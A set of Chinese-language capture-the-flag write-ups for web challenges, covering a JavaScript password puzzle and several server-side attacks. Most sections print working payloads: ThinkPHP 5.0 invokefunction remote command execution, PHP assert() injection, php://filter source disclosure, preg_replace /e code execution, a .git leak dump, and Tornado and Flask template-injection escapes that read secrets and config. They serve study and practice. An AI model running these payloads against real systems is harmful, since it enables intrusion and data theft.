php_rce
发现好几个版本,我们只知道5.0随便输入一个试一试,发下新有提示为5.0.20
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ls查看目录没有什么可疑的
接着查看上级目录
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../
或者我们用find命令查找与flag相关的
simple_js
题目:
查看源码
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
分析源码,发现随便输入什么都会输出
pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"对应的字符
用python处理一下
#Cyberpeace{}
s="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"
s=s.split(",")
c=""
for i in s:
i=chr(int(i))
c=c+i
print(c)
或者
#Cyberpeace{}
s=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
for i in s:
print(chr(i),end='')
得到该字符串为:
FAUX PASSWORD HAHA,正好是提示错误的字符串
看到有有一串16进制的字符,应该就是flag内容
#Cyberpeace{}
s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(s)
s=s.split(",")
c=""
for i in s:
i=chr(int(i))
c=c+i
print(c)
运行结果:
55,56,54,79,115,69,114,116,107,49,50
7
78
786
786O
786Os
786OsE
786OsEr
786OsErt
786OsErtk
786OsErtk1
786OsErtk12
知识点:
1. \x35\x35\x2c\x35形状的为16进制字符,可将其转换为10进制
2.可以用python批量转换ASCII码 for i in s:
print(chr(i),end=’’) 其中,s是想要转换的列表
mfw
进入题目以后可以点击三个网页,这三个网页其中有一个提示我们git、php、Bootstrap、看到git的时候就可以联想到git泄露了
直接使用GitHack进行扫描
python GitHack.py http://61.147.171.105:55215/.git/
在其目录下出现了刚下载的泄露文件
除了开头的index.php 文件中包含有代码部分,其它文档并没有发现值得分析的文件
我们现在来分析一下index.php 文件
assert()函数其实是一个断言函数。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase
我们首先绕过assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
我们先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")注释掉
然后构造payload:?page=').phpinfo();// //然后有回显
构造payload:
?page=').system("cat templates/flag.php");//
查看源码,得到flag
ics-05(preg_replace() ,/e)
1.进入工控云管理系统设备维护中心(其他标签点击无反应)
查看源代码发现有提示
点进去,得到
想到文件包含漏洞(URL中出现path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼)
3.利用php伪协议查看源码 出现一段base64源码,进行转码得出源码
payload:
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
ctype_alnum(string $text)://检查是否是字母或数字或字母数字的 组合
如果是字母和数字组合的话,输出page内容,同时die掉
如果不是字母和数字的组合的话,
page中不能存在input,ta:text,text,而且不能是在page的开头处存在,否则就die掉
如果page中包含index。php,那就输出ok,然后包含page这个文件
最后还有一个内部人员的测试版本,如果要从内部访问的话,
其实本地的命令执行就可以进行使用这个函数
首先伪造xff
相关知识点:
preg_replace — 执行正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
在 subject 中搜索 pattern 模式的匹配项并替换为 replacement 。如果指定了 limit ,则仅替换 limit 个匹配,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换。
特别注意:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
pattern,replacement,subject,同时有值的话
preg_replace,搜索subject中 pattern的字符串,同时替换为replacement
也就是说pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行
构造payload:
index.php?pat=/heihei/e&rep=system('ls')&sub=heihei
再添加xff
使用find命令(find -name *flag*)
查看源代码
easytornado(Tornado 框架,模板注入)
题目:
依次点开
在hints.txt文件中发现md5计算 md5(cookie_secret+md5(filename)) 并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)
猜测解题关键点在md5(cookie_secret+md5(filename))这里
首先flag在/fllllllllllllag文件中**,所以就是filename=/fllllllllllllag;**filehash=md5(cookie_secret+md5(filename))
现在只缺cookie_secret这个东西,只要有了cookie_secret再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag
注意题目easytornado;tornado是python的一个模板,可以看出这道题是模板注入类的题目
改哈希值看看是否有变化
模板注入必须通过传输型如{{xxx}}的执行命令
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。
爆cookie_secret
error?msg={{handler.settings}}
按照要求进行md5进行加密
shrine(flask框架)
题目:
给了很多代码,查看源码
是flask框架,猜测是ssti注入(模板注入)
模板渲染接受的参数需要用两个大括号括起来{{}},所以我们需要在大括号内构造参数形成注入
SSTI注入需要知道用的是什么模板引擎,参考这张图片
尝试使用tplmap ./tplmap.py -u ‘xxxxxx’
发现不行
发现这里有两个路径,我们访问试试,并测试测试模板注入
发现存在模板注入
@app.route('/')
def index():
return open(__file__).read() //第一个路由是显示出源代码
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') //我们提交的参数之中的()会被置为空,()被过滤
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s //将黑名单内的内容遍历一遍,把参数内的与黑名单相同的置为
None
//第二个路由在/shrine/路径下提交参数,模板中设定{{ }}包括的内容为后端变量,
% %包括的内容为逻辑语句
return flask.render_template_string(safe_jinja(shrine))
同时,他将config和self当成了黑名单 而flag在config文件里
如果没有黑名单的时候,我们可以传入 config,或者传入{{self.dict}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙盒逃逸的方法,来调用被禁用的函数对象。
current_app,这是全局变量代理,查看他的config即可
这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages
payload:
shrine/{{url_for.globals['current_app'].config}}或
shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}
参考:
攻防世界web进阶区shrine详解_shrine 开发-CSDN博客
CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎